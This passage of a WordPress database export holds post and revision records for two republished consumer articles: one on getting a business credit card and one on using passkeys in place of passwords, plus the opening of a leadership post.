id=\"mntl-sc-block_1-0-44\">Vendor Credit</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-45\">To improve your credit standing (and cash flow), you could also apply for vendor credit. With this arrangement, you receive goods and services from your vendor now with the understanding that you’ll pay for them within a specified net term. As long as you pay within that time frame, you won’t get charged any interest. That means you essentially get a short-term interest-free loan.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-47\">Your vendor probably will review your credit before approving your application. But, you can increase your chances of getting a “yes” by paying your invoices on time (or early) for a lengthy period before applying. Plus, you can start with a very short net term, like 10 or 20 days, to show you can handle the responsibility. Then, next time you apply for a business credit card, your list of vendor credit agreements in good standing may help you get approved.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-49\">Frequently Asked Questions (FAQs)</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Can you get a business credit card without a personal guarantee?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>You may be able to get a business credit card without a personal guarantee, but that’s not the norm. Most credit card issuers will require one. That way, if your business can’t cover the debt for any reason, the lender can go after you personally for payment. However, there are a few business credit card options that don’t require this guarantee.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What’s the easiest business credit card to qualify for?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The easiest business credit card to qualify for is a secured credit card. A secured credit card is of low risk to the lender because you’re required to back the account with your own money via a security deposit. Plus, if you default, the credit card issuer can take your security deposit as payment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.thebalancemoney.com/how-to-get-a-business-credit-card-5189004\">click here.</a></p>\n<!-- /wp:paragraph -->','How To Get a Business Credit Card','','publish','closed','closed','','how-to-get-a-business-credit-card','','','2024-01-24 20:41:38','2024-01-24 20:41:38','',0,'https://smartinsurance.tips/?p=3771',0,'post','',0),(3772,1,'2024-01-24 20:39:29','2024-01-24 20:39:29','','Untitled-49','','inherit','closed','closed','','untitled-49-3','','','2024-01-24 20:39:29','2024-01-24 20:39:29','',3771,'http://smartinsurance.tips/wp-content/uploads/2024/01/Untitled-49.png',0,'attachment','image/png',0),(3773,1,'2024-01-24 20:41:38','2024-01-24 20:41:38','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3772,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/01/Untitled-49-1024x1024.png\" alt=\"\" class=\"wp-image-3772\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0\">If you own a small business, you may want to consider getting a business credit card. The increased purchasing power allows you to finance the goods and services your company needs, keeps your business and personal spending separate, and makes reporting your expenses much easier come tax time. To enjoy the financial and operational benefits that come with a business credit card, it’s important to learn what it takes to get one.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block-callout-heading_1-0\">Key Takeaways</h3>\n<!-- /wp:heading -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>A business credit card can help you separate your business and personal expenses&nbsp; and finance your company’s needs.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Most business credit card lenders require a personal guarantee, which means you’re on the hook for any balance owed if the business can’t pay.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Business and personal credit cards are similar in many ways, but most provisions within the Truth in Lending Act (TILA) don’t apply to business accounts.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>You should compare business credit cards carefully to ensure you get one that meets your business needs.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>A secured business credit card could be a good option if you have less- than- perfect credit.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-3\">Requirements for a Business Credit Card</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-4\">Every lender will have different requirements for business income, credit score, and other factors. However, you can usually expect a credit card issuer to review both your personal and business credit reports before making a lending decision—especially if your business doesn’t have its own credit history yet. Most business credit card companies will also require a personal guarantee, which means you’re personally liable for any balance or outstanding debt owed if the business can’t pay.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-6\">How Business Credit Cards Work</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-7\">Business credit cards and personal credit cards share several similarities. If approved, you’ll get a revolving line of credit you can use to cover any business need that arises. And just like with your personal cards, you’ll need to:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-9\"><!-- wp:list-item -->\n<li>Manage your business account responsibly by making timely payments.&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Pay interest on balances you carry over from month to month (unless you’re within an interest-free promotional period).</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Note: Because you may accumulate many expenses on your business credit card, it’s important to obtain cards that offer points and cash-back rewards for travel, shipping costs, and more.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, one key distinction between business and personal credit cards is that the Truth in Lending Act (TILA) only applies to business accounts in limited situations. The TILA was passed to ensure that lenders educate consumers about the terms and cost of the credit being issued. Fortunately, two important provisions of the law cover business owners. You can’t be issued a card unless you requested it, and you won’t be held responsible for fraudulent charges exceeding $50 if your card is lost or stolen.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-14\">How To Get a Business Credit Card</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-15\">While getting a business credit card may feel daunting, the steps below can help guide you through the process.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-17\">Check Your Credit</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-18\">It’s critical to first check your personal credit report and correct any errors that you find, which can include incorrect personal information, account status, balance, or credit limit.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-20\">You can access your report from each of the three major nationwide credit bureaus for free by visiting AnnualCreditReport.com.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-22\">If you spot an error, write a letter to both the credit bureau and reporting lender disputing the information. Make sure to include any paperwork that supports your claim. Your dispute must be investigated, and you have the right to contact the Consumer Financial Protection Bureau if the mistake doesn’t get fixed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Note: By catching and fixing mistakes, you can boost your credit score and increase your chances of getting approved for a business credit card.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-25\">Research Card Options</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-26\">There are many business credit cards on the market, so your next step is to research and compare the different options available. Here are some of the elements you should consider:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul id=\"mntl-sc-block_1-0-28\"><!-- wp:list-item -->\n<li>Card type (secured, unsecured, low-interest, etc.)</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Annual percentage rate (APR)</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Introductory interest rate&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Promotional interest rate&nbsp;</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Fees (annual, late payment, foreign transaction, cash advance, etc.)</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Rewards (points, airline miles, hotel stays, cash back, etc.)</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Eligibility requirements (credit score, business income, etc.)</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Credit reporting (ideally, the card should report to business credit agencies so you can build credit that’s separate from your personal file.)</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-30\">When choosing which card to apply for, think about your business needs and goals. If you’re trying to save every penny and believe you may have to carry a balance, a card with no annual fee and a low interest rate may be your best bet. But, if you’re always traveling to grow and manage your company, a card that earns airline miles or hotel stays could be right for you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-32\">Apply for a Card</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-33\">Once you’ve identified the right business credit card for your company, it’s time to apply. Each issuer will have its own application form and will require different information to reach a decision. However, you should be prepared to provide several pieces of personal and business information, including your personal annual income, personal credit score, type of business, how long you’ve been in business, annual revenue, federal tax ID, and more.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-35\">Options for Those With Poor or Limited Credit</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-36\">If your credit history isn’t great (or is non-existent), you may still be able to get a business credit card. For example, a business partner with stellar credit could co-sign on the application to increase your chance of approval. But if that’s not an option, consider these others below.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-38\">Secured Credit Card</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-39\">A secured credit card is typically easier to qualify for because you have to give the bank a security deposit (hence the name) to open an account. The value of your security deposit becomes your available credit line. Once approved, you can use the card to make purchases.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-41\">Timely payments demonstrate financial responsibility and strengthen your credit profile. If you maintain the account responsibly for long enough, the bank may switch you to an unsecured card, which doesn’t need to be backed by your own money.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Note: If you fail to pay the balance owed or default on a secured business credit card, the issuer can take your security deposit.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-44\">Vendor Credit</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-45\">To improve your credit standing (and cash flow), you could also apply for vendor credit. With this arrangement, you receive goods and services from your vendor now with the understanding that you’ll pay for them within a specified net term. As long as you pay within that time frame, you won’t get charged any interest. That means you essentially get a short-term interest-free loan.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p id=\"mntl-sc-block_1-0-47\">Your vendor probably will review your credit before approving your application. But, you can increase your chances of getting a “yes” by paying your invoices on time (or early) for a lengthy period before applying. Plus, you can start with a very short net term, like 10 or 20 days, to show you can handle the responsibility. Then, next time you apply for a business credit card, your list of vendor credit agreements in good standing may help you get approved.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\" id=\"mntl-sc-block_1-0-49\">Frequently Asked Questions (FAQs)</h2>\n<!-- /wp:heading -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Can you get a business credit card without a personal guarantee?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>You may be able to get a business credit card without a personal guarantee, but that’s not the norm. Most credit card issuers will require one. That way, if your business can’t cover the debt for any reason, the lender can go after you personally for payment. However, there are a few business credit card options that don’t require this guarantee.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What’s the easiest business credit card to qualify for?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The easiest business credit card to qualify for is a secured credit card. A secured credit card is of low risk to the lender because you’re required to back the account with your own money via a security deposit. Plus, if you default, the credit card issuer can take your security deposit as payment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.thebalancemoney.com/how-to-get-a-business-credit-card-5189004\">click here.</a></p>\n<!-- /wp:paragraph -->','How To Get a Business Credit Card','','inherit','closed','closed','','3771-revision-v1','','','2024-01-24 20:41:38','2024-01-24 20:41:38','',3771,'https://smartinsurance.tips/?p=3773',0,'revision','',0),(3774,1,'2024-01-26 15:45:50','2024-01-26 15:45:50','<!-- wp:paragraph -->\n<p>Google and Apple have rolled out passkeys, but the technology isn\'t yet seamless across all browsers, operating systems, and devices.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3775,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/01/Untitled-50-1024x1024.png\" alt=\"\" class=\"wp-image-3775\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>For years, security experts have emphasized the importance of creating strong and unique passwords. But even the most complex passwords are vulnerable to phishing, where unsuspecting users are tricked into disclosing their passwords or entering them at a fraudulent look-alike website controlled by the attackers. Even using an authentication app like Authenticator or Authy isn’t foolproof—you could still be tricked into entering your one-time password on a fake log-in page.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Because of the risks of passwords, the tech industry has been eager to create a password-free future. Passkeys—developed by Apple, Google, Microsoft, and others—are an alternative to passwords, and they provide robust protection against phishing attacks and website breaches. The launch of passkeys for Google accounts is the latest step to improving safety on digital accounts and ownership of your personal information.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Physical security keys, which can distinguish between legitimate websites and look-alikes, are another technology that many security pros recommend. But passkeys might appeal to more people, because they are free, and you don’t need to carry them around.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Passkeys can be used on phones, tablets, or computers, and implemented across devices. The technology still isn’t as widespread and convenient to use as it could be. However, it’s not too early to consider using it for at least some of your accounts as passkeys continue to be integrated and standardized across services.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How Passkeys Work</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Passkeys use public-key encryption for security, which means that one key is stored on your device, and the other is with the service on which your account is held. Passkeys can also be synced to the cloud, and your key can be copied from one device, such as your phone or laptop, to another.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Passkeys require some form of authentication before they can be used. That might be the passcode you use to unlock your screen, or a form of biometric authentication such as a face scan or a fingerprint. That biometric data stays local on your own device—it’s not shared with the services you use.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Using a passkey means you can’t accidentally enter your personal log-in on a malicious site or give it to a phishing account, making passkeys more secure than a traditional password.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>What happens if you lose your phone—do you also lose access to your online accounts? This should not be a problem, as long as you’ve connected your passkey across multiple devices. And you can revoke a passkey for your Google account in your password settings, or from your Mac and iCloud keychain.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How to Get Started With Passkeys</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>A handful of services are rolling out passkeys. Android devices may automatically create passkeys when you log in to your Google account. You can start using passkeys for personal Google accounts by going to this page and selecting “start using passkeys.” You need Windows 10 or up to use passkeys on a PC, and Windows 11, version 22H2 or newer to access features such as synchronization. Some browsers might not support passkeys, so you may need to switch to a supported browser to set up a passkey for your Google account. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Apple requires you to use a traditional password to log in to your Apple ID, but creating a passkey on an Apple device will let you sign in with that passkey on any Apple device, as long as your device runs iOS 16 or macOS Ventura or newer, and you are using iCloud Keychain.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You can already use passkeys with dozens of companies, such as Best Buy, Hyatt, and PayPal. See this full directory of passkeys. For more information on setup, check out the Freedom of the Press Foundation’s guide to passkeys, or the following instructions for major platforms:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>• Passkeys on a Google account<br>• Passkeys for Chrome and Android<br>• Passkeys on a Mac<br>• Passkeys on an iPhone <br>• Passkeys on an iPad</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Sharing Your Passkey</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>What about the accounts we share with others? You might think that passkeys would make this harder, but Apple allows you to AirDrop a shared passkey with people in physical proximity to you, so you can share accounts with trusted individuals much like you can do for passwords in Apple.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you need to borrow a friend’s phone or use a shared computer, Google lets you scan a one-time QR code from your phone, which will give you access to your account on the borrowed or shared device without storing your passkey on it. The device you’re borrowing just needs to be nearby. (The technology checks to see if the two devices are in Bluetooth range of each other, to protect against remote attacks.)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Passkey Limitations</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Currently, passkeys are available only on select websites, apps, and services. Keeping track of where you can use them can be challenging. For example, if you use a passkey to log in to an app on your phone, you’ll still need a password on your laptop if you want to use a browser that doesn’t yet work with passkeys.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Getting passkeys set up on your various devices can be tricky because things don’t always sync seamlessly. For example, you can share passkeys across Apple devices using iCloud Keychain, and you can share them across Android and Chrome devices using Google Password manager. But there is not yet a seamless and easy way to share passkeys across iPhone and Android devices or across Windows devices.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The technology has other quirks, too. You can use passkeys with Apple’s Safari browser, but if you are on a MacBook, you may have to use the Chrome browser to set up a Google passkey. (Check this table to see if you can use passkeys on your preferred operating systems, browsers, and devices.)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The user experience around passkeys “can definitely be improved based on availability of the services and lack of consistency around how exactly you get the keys on your devices,” says Martin Shelton, principal researcher at Freedom of the Press Foundation. “That said, I also believe it’s really exciting technology because it could—pending availability—make it a lot easier for people to stop typing their password on malicious websites.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Passkeys are still in their early stages.&nbsp;Given that they’re not yet available for all services, operating systems, and devices, it’s too soon to switch away from using passwords for all your online security. But you can start experimenting with passkeys on accounts where it makes sense for you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Either way, you’ll still want to use a password manager to keep your passwords safe. Some password managers even allow you to store passkeys, and more are working on this feature. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You can also store passkeys on a security key. That passkey can’t be copied from the security key. That can make it more secure, but it’s important to register these passkeys on multiple keys kept in different locations if you do decide to use them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.consumerreports.org/electronics/digital-security/should-you-use-passkeys-instead-of-passwords-a1201817243/\">click here.</a></p>\n<!-- /wp:paragraph -->','Should You Use Passkeys Instead of Passwords?','','publish','closed','closed','','should-you-use-passkeys-instead-of-passwords-2','','','2024-01-26 15:45:50','2024-01-26 15:45:50','',0,'https://smartinsurance.tips/?p=3774',0,'post','',0),(3775,1,'2024-01-26 15:43:33','2024-01-26 15:43:33','','Untitled-50','','inherit','closed','closed','','untitled-50-2','','','2024-01-26 15:43:33','2024-01-26 15:43:33','',3774,'http://smartinsurance.tips/wp-content/uploads/2024/01/Untitled-50.png',0,'attachment','image/png',0),(3776,1,'2024-01-26 15:45:50','2024-01-26 15:45:50','<!-- wp:paragraph -->\n<p>Google and Apple have rolled out passkeys, but the technology isn\'t yet seamless across all browsers, operating systems, and devices.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3775,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/01/Untitled-50-1024x1024.png\" alt=\"\" class=\"wp-image-3775\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>For years, security experts have emphasized the importance of creating strong and unique passwords. But even the most complex passwords are vulnerable to phishing, where unsuspecting users are tricked into disclosing their passwords or entering them at a fraudulent look-alike website controlled by the attackers. Even using an authentication app like Authenticator or Authy isn’t foolproof—you could still be tricked into entering your one-time password on a fake log-in page.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Because of the risks of passwords, the tech industry has been eager to create a password-free future. Passkeys—developed by Apple, Google, Microsoft, and others—are an alternative to passwords, and they provide robust protection against phishing attacks and website breaches. The launch of passkeys for Google accounts is the latest step to improving safety on digital accounts and ownership of your personal information.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Physical security keys, which can distinguish between legitimate websites and look-alikes, are another technology that many security pros recommend. But passkeys might appeal to more people, because they are free, and you don’t need to carry them around.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Passkeys can be used on phones, tablets, or computers, and implemented across devices. The technology still isn’t as widespread and convenient to use as it could be. However, it’s not too early to consider using it for at least some of your accounts as passkeys continue to be integrated and standardized across services.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How Passkeys Work</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Passkeys use public-key encryption for security, which means that one key is stored on your device, and the other is with the service on which your account is held. Passkeys can also be synced to the cloud, and your key can be copied from one device, such as your phone or laptop, to another.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Passkeys require some form of authentication before they can be used. That might be the passcode you use to unlock your screen, or a form of biometric authentication such as a face scan or a fingerprint. That biometric data stays local on your own device—it’s not shared with the services you use.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Using a passkey means you can’t accidentally enter your personal log-in on a malicious site or give it to a phishing account, making passkeys more secure than a traditional password.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>What happens if you lose your phone—do you also lose access to your online accounts? This should not be a problem, as long as you’ve connected your passkey across multiple devices. And you can revoke a passkey for your Google account in your password settings, or from your Mac and iCloud keychain.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How to Get Started With Passkeys</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>A handful of services are rolling out passkeys. Android devices may automatically create passkeys when you log in to your Google account. You can start using passkeys for personal Google accounts by going to this page and selecting “start using passkeys.” You need Windows 10 or up to use passkeys on a PC, and Windows 11, version 22H2 or newer to access features such as synchronization. Some browsers might not support passkeys, so you may need to switch to a supported browser to set up a passkey for your Google account. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Apple requires you to use a traditional password to log in to your Apple ID, but creating a passkey on an Apple device will let you sign in with that passkey on any Apple device, as long as your device runs iOS 16 or macOS Ventura or newer, and you are using iCloud Keychain.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You can already use passkeys with dozens of companies, such as Best Buy, Hyatt, and PayPal. See this full directory of passkeys. For more information on setup, check out the Freedom of the Press Foundation’s guide to passkeys, or the following instructions for major platforms:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>• Passkeys on a Google account<br>• Passkeys for Chrome and Android<br>• Passkeys on a Mac<br>• Passkeys on an iPhone <br>• Passkeys on an iPad</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Sharing Your Passkey</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>What about the accounts we share with others? You might think that passkeys would make this harder, but Apple allows you to AirDrop a shared passkey with people in physical proximity to you, so you can share accounts with trusted individuals much like you can do for passwords in Apple.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you need to borrow a friend’s phone or use a shared computer, Google lets you scan a one-time QR code from your phone, which will give you access to your account on the borrowed or shared device without storing your passkey on it. The device you’re borrowing just needs to be nearby. (The technology checks to see if the two devices are in Bluetooth range of each other, to protect against remote attacks.)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Passkey Limitations</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Currently, passkeys are available only on select websites, apps, and services. Keeping track of where you can use them can be challenging. For example, if you use a passkey to log in to an app on your phone, you’ll still need a password on your laptop if you want to use a browser that doesn’t yet work with passkeys.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Getting passkeys set up on your various devices can be tricky because things don’t always sync seamlessly. For example, you can share passkeys across Apple devices using iCloud Keychain, and you can share them across Android and Chrome devices using Google Password manager. But there is not yet a seamless and easy way to share passkeys across iPhone and Android devices or across Windows devices.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The technology has other quirks, too. You can use passkeys with Apple’s Safari browser, but if you are on a MacBook, you may have to use the Chrome browser to set up a Google passkey. (Check this table to see if you can use passkeys on your preferred operating systems, browsers, and devices.)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The user experience around passkeys “can definitely be improved based on availability of the services and lack of consistency around how exactly you get the keys on your devices,” says Martin Shelton, principal researcher at Freedom of the Press Foundation. “That said, I also believe it’s really exciting technology because it could—pending availability—make it a lot easier for people to stop typing their password on malicious websites.”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Passkeys are still in their early stages.&nbsp;Given that they’re not yet available for all services, operating systems, and devices, it’s too soon to switch away from using passwords for all your online security. But you can start experimenting with passkeys on accounts where it makes sense for you.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Either way, you’ll still want to use a password manager to keep your passwords safe. Some password managers even allow you to store passkeys, and more are working on this feature. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You can also store passkeys on a security key. That passkey can’t be copied from the security key. That can make it more secure, but it’s important to register these passkeys on multiple keys kept in different locations if you do decide to use them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.consumerreports.org/electronics/digital-security/should-you-use-passkeys-instead-of-passwords-a1201817243/\">click here.</a></p>\n<!-- /wp:paragraph -->','Should You Use Passkeys Instead of Passwords?','','inherit','closed','closed','','3774-revision-v1','','','2024-01-26 15:45:50','2024-01-26 15:45:50','',3774,'https://smartinsurance.tips/?p=3776',0,'revision','',0),(3777,1,'2024-01-26 15:48:17','2024-01-26 15:48:17','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3778,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/01/Untitled-51-1024x1024.png\" alt=\"\" class=\"wp-image-3778\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>Having interviewed and coached hundreds of leaders, I have seen the best and worst of leaders. The worst? Well, they\'re easier to spot because their immaturity stands out, affecting their teams and organizations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Quite truthfully, the lack of maturity in most leadership settings is becoming increasingly obvious. Most organizations are so results-driven and short-term focused, they don\'t put enough emphasis on the actual <em>emotional maturity</em> of the people they hire and promote that will benefit them long-term.</p>\n<!-- /wp:paragraph -->\n\n<!-- 